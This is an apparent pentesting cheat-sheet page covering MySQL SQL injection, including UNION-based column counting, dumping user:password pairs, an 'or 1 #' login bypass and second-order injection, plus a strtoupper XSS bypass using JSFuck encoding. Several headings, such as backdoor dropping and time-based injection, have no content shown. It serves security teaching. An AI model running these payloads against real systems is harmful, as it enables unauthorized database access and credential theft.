Page cover

SQL Injection & XSS Playground

Classic SQL Injection

Union Select Data Extraction

mysql> select * from users where user_id = 1 order by 7;              
ERROR 1054 (42S22): Unknown column '7' in 'order clause'
mysql> select * from users where user_id = 1 order by 6;
mysql> select * from users where user_id = 1 union select 1,2,3,4,5,6;

arrow-up-right

select * from users where user_id = 1 union all select 1,(select group_concat(user,0x3a,password) from users),3,4,5,6;

arrow-up-right

Authentication Bypass

mysql> select * from users where user='admin' and password='blah' or 1 # 5f4dcc3b5aa765d61d8327deb882cf99' 

arrow-up-right

Second Order Injection

mysql> insert into accounts (username, password, mysignature) values ('admin','mynewpass',(select user())) # 'mynewsignature');

arrow-up-right

Dropping a Backdoor

arrow-up-right

Conditional Select

arrow-up-right

Bypassing Whitespace Filtering

arrow-up-right

Time Based SQL Injection

Sleep Invokation

arrow-up-right

arrow-up-right

XSS

arrow-up-right

Strtoupper Bypass

Say we have the following PHP code that takes name as a user supplied parameter:

Line 3 is vulnerable to XSS, and we can break out of the input with a single quote ':

For example, if we set the name parameter to the value of a', we get:

arrow-up-right

Note that the a got converted to a capital A and this is due to the strtoupper function being called on our input. What this means is that any ascii letters in our JavaScript payload will get converted to uppercase and become invalid and will not execute (i.ealert() != ALERT()).

To bypass this constraint, we can encode our payload using JsFuck, which eliminates all the letters from the payload and leaves us with this:

arrow-up-right

References

{% embed url="http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheetarrow-up-right" %}

{% embed url="http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheetarrow-up-right" %}

{% embed url="http://breakthesecurity.cysecurity.org/2010/12/hacking-website-using-sql-injection-step-by-step-guide.htmlarrow-up-right" %}

{% embed url="https://www.youtube.com/watch?v=Rqt_BgG5YyIarrow-up-right" %}

Last updated